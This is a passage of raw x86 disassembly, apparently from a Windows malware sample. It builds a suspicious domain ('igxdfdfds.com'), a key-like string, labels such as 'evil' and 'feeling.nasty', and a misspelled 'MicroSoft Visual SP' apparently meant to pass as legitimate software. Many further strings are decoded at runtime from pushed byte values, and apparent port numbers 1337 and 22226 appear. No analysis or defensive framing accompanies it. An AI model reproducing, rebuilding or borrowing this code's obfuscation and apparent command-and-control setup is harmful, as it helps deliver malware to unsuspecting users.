lea ecx, [esp+360h+var_2AC]
call sub_401A9B
push offset off_444868
lea ecx, [esp+360h+var_24C]
call sub_401A9B
push offset aXkey ; "Xkey"
lea ecx, [esp+360h+var_2F4]
call sub_401A9B
push offset aIgxdfdfds_com ; "igxdfdfds.com"
lea ecx, [esp+360h+var_1D4]
call sub_401A9B
push offset aAydassklfsdsew ; "aydassklfsdsewrlkwel"
lea ecx, [esp+360h+var_204]
call sub_401A9B
push offset asc_444830 ; "X-"
lea ecx, [esp+360h+var_294]
call sub_401A9B
push offset aSet ; "set"
lea ecx, [esp+360h+var_234]
call sub_401A9B
push 0
push 4Ah
push 20h
push 48h
push 1Ch
push 4Bh
push 46h
push 4Ah
push 46h
push 47h
push 4Ch
push 1Fh
push 48h
push 1Fh
push ebx
push 1Bh
push 1Dh
push 47h
push 4Bh
push 47h
push ebx
push 45h
push 46h
push 4Ah
push 48h
push ebx
push 1Dh
push 1Ch
push 4Ah
push 20h
push 4Ch
push 4Dh
lea edx, [esp+3DCh+var_348]
push 44h
push edx
call sub_4019C4
add esp, 88h
push eax
lea ecx, [esp+360h+var_264]
mov byte ptr [esp+360h+var_4], 1Fh
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push offset aFeeling_nasty ; "feeling.nasty"
lea ecx, [esp+360h+var_E4]
call sub_401A9B
push offset aEvil ; "evil"
lea ecx, [esp+360h+var_15C]
call sub_401A9B
push offset aMicrosoftVisua ; "MicroSoft Visual SP"
lea ecx, [esp+360h+var_114]
call sub_401A9B
push offset dword_4447F8
lea ecx, [esp+360h+var_27C]
call sub_401A9B
push 0
push 4Bh
push 48h
push 4Ah
push 47h
push 4Ch
push 48h
push 4Bh
push 48h
push 45h
lea eax, [esp+384h+var_348]
push 46h
push eax
call sub_4019C4
add esp, 30h
push eax
lea ecx, [esp+360h+var_18C]
mov byte ptr [esp+360h+var_4], 20h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 0Dh
push 0Fh
push 3
push 4Fh
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 0Dh
push 1
push 4
push 13h
push 1
lea ecx, [esp+3A4h+var_348]
push 4
push ecx
call sub_4019C4
add esp, 50h
push eax
lea ecx, [esp+360h+var_1EC]
mov byte ptr [esp+360h+var_4], 21h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_CC]
mov byte ptr [esp+360h+var_4], 22h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_B4]
mov byte ptr [esp+360h+var_4], 23h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 44h
push 49h
lea ecx, [esp+368h+var_348]
push 46h
push ecx
call sub_4019C4
add esp, 14h
push eax
lea ecx, [esp+360h+var_21C]
mov byte ptr [esp+360h+var_4], 24h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_9C]
mov byte ptr [esp+360h+var_4], 25h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 15h
push 12h
lea eax, [esp+36Ch+var_348]
push 14h
push eax
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_330]
mov byte ptr [esp+360h+var_4], 26h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 13h
push 0Ch
push 1
lea ecx, [esp+370h+var_348]
push 6
push ecx
call sub_4019C4
add esp, 1Ch
push eax
lea ecx, [esp+360h+var_318]
mov byte ptr [esp+360h+var_4], 27h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2F4]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_34C], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
mov byte ptr [esp+3A4h+var_4], 28h
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 29h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_350], esp
push eax
call sub_401870
lea eax, [esi+0FECh]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 2Ah
call sub_401CD5
sub_4077E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 2Bh
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 2Ch
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
mov byte ptr [esp+388h], 2Dh
lea edx, [esi+1035h]
mov ecx, esi
push edx
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+78h]
push 13h
push eax
mov byte ptr [esp+3C4h], 2Eh
call sub_4019C4
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 2Fh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+0FA3h]
mov byte ptr [esp+388h], 30h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+98h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
mov byte ptr [esp+3A4h], 31h
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+80h]
push 13h
push edx
call sub_4019C4
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 32h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+0F5Ah]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 33h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+90h]
push 13h
push ecx
mov byte ptr [esp+3DCh], 34h
call sub_4019C4
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 35h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
mov byte ptr [esp+388h], 36h
lea edi, [esi+0E7Fh]
push edi
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+218h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 37h
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 38h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+0F11h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 39h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
mov byte ptr [esp+398h], 3Ah
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+84h]
push 13h
push ecx
call sub_4019C4
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 3Bh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+107Eh]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Ch
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea eax, [esp+10h]
mov ecx, offset byte_4D834F
push eax
mov [esp+14h], edi
call sub_401A73
lea ecx, [esp+68h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 3Dh
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 3Eh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1234h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Fh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+88h]
push 13h
push eax
mov byte ptr [esp+3D4h], 40h
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 41h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+127Dh]
mov byte ptr [esp+388h], 42h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1B8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 14h
push 12h
mov byte ptr [esp+37Ch], 43h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+78h]
push 13h
push edx
call sub_4019C4
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 44h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+11EBh]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 45h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1E8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+80h]
push 13h
push ecx
mov byte ptr [esp+3CCh], 46h
call sub_4019C4
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 47h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+11A2h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 48h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+90h]
push 13h
push eax
mov byte ptr [esp+3DCh], 49h
call sub_4019C4
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 4Ah
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 4Bh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1A0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
mov byte ptr [esp+380h], 4Ch
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 4Dh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1159h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 4Eh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+84h]
push 13h
push eax
mov byte ptr [esp+3D0h], 4Fh
call sub_4019C4
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 50h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+12C6h]
mov byte ptr [esp+388h], 51h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea edx, [esp+10h]
mov ecx, offset byte_4D834F
push edx
mov [esp+14h], edi
call sub_401A73
push offset byte_448F30
push offset word_4E8E5A
call sub_40102D
add esp, 8
lea ecx, [esp+230h]
call sub_40142E
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 52h
call sub_40142E
push 56D2h
push 539h
mov byte ptr [esp+360h], 53h
call sub_4021C6
; ---------------------------------------------------------------------------
push eax
lea eax, [esp+23Ch]
push offset dword_4447F4
push eax
call sub_40102D
push 56D2h
push 539h
call sub_4021C6
; ---------------------------------------------------------------------------
push eax
lea ecx, [esp+280h]
push offset dword_4447F4
push ecx
call sub_40102D
add esp, 10h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+606h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+805h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+84Eh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+52Bh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+278h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1E8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+260h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+188h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+158h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+128h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2C0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+773h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2A8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+7BCh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push offset word_4E8E5A
call sub_4014D3
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1A0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+170h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+0F8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+248h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 16Dh
call sub_4017EE
push eax
push offset byte_4493ED
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 1B6h
call sub_4017EE
push eax
push offset dword_4493A4
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
call sub_4017EE
push eax
push offset dword_449280
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 124h
call sub_4017EE
push eax
push offset word_449312
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 0DBh
call sub_4017EE
push eax
push offset byte_4492C9
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 92h
call sub_4017EE
push eax
push offset byte_44935B
mov ecx, offset word_44ACD6
call sub_4015A0
push 0
mov ecx, offset byte_4D834F
call sub_401474
mov ecx, [eax]
add ecx, 1FFh
call sub_4017EE
push eax
push offset byte_44947F
mov ecx, offset word_44ACD6
call sub_4015A0
lea ecx, [esp+200h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
lea ecx, [esp+290h]
mov byte ptr [esp+370h], 54h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
call sub_401870
lea ecx, [esp+128h]
mov byte ptr [esp+388h], 55h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+0A4h], esp
push eax
call sub_401870
lea ecx, [esp+170h]
mov byte ptr [esp+3A0h], 56h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+0C0h], esp
push eax
call sub_401870
mov ecx, offset word_44AC5E
mov byte ptr [esp+3B8h], 53h
call sub_40137F
; ---------------------------------------------------------------------------
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 52h
call sub_401226
lea ecx, [esp+230h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_401226
lea ecx, [esp+2Ch]
mov byte ptr [esp+358h], 1Ch
call sub_401226
mov byte ptr [esp+358h], 1Bh
lea ecx, [esp+110h]
call sub_401226
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 1Ah
call sub_401226
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 19h
call sub_401226
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 18h
call sub_401226
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 17h
call sub_401226
lea ecx, [esp+170h]
mov byte ptr [esp+358h], 16h
call sub_401226
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 15h
call sub_401226
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 14h
call sub_401226
lea ecx, [esp+218h]
mov byte ptr [esp+358h], 13h
call sub_401226
lea ecx, [esp+1D0h]
mov byte ptr [esp+358h], 12h
call sub_401226
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 11h
call sub_401226
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 10h
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 0Fh
call sub_401226
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 0Eh
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 0Dh
call sub_401226
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ch
call sub_401226
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Bh
call sub_401226
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Ah
call sub_401226
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_401226
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_401226
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 7
call sub_401226
lea ecx, [esp+158h]
mov byte ptr [esp+358h], 6
call sub_401226
lea ecx, [esp+188h]
mov byte ptr [esp+358h], 5
call sub_401226
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 4
call sub_401226
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 3
call sub_401226
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 2
call sub_401226
lea ecx, [esp+1E8h]
mov byte ptr [esp+358h], 1
call sub_401226
mov byte ptr [esp+358h], 0
lea ecx, [esp+80h]
call sub_401226
lea ecx, [esp+98h]
mov dword ptr [esp+358h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+350h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
; ---------------------------------------------------------------------------
db 5E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409520 proc near ; CODE XREF: sub_401474j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_401983
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_409538
mov ecx, esi
call sub_40191A
; ---------------------------------------------------------------------------
loc_409538: ; CODE XREF: sub_409520+Fj
mov ecx, esi
call sub_401A46
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_409520 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409560 proc near ; CODE XREF: sub_401A73j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40128A
push eax
mov ecx, esi
call sub_401695
pop esi
retn 4
sub_409560 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409590 proc near ; CODE XREF: sub_401A46j
mov eax, [ecx+4]
retn
sub_409590 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095B0 proc near ; CODE XREF: sub_40128Aj
mov eax, [ecx+8]
retn
sub_4095B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095D0 proc near ; CODE XREF: sub_401983j
mov edx, [ecx+4]
test edx, edx
jnz short loc_4095DA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4095DA: ; CODE XREF: sub_4095D0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_4095D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409600 proc near ; CODE XREF: sub_401695j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401A46
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401BAE
mov ecx, edi
call sub_401A46
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_409600 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409650 proc near ; CODE XREF: sub_40191Aj
var_40 = byte ptr -40h
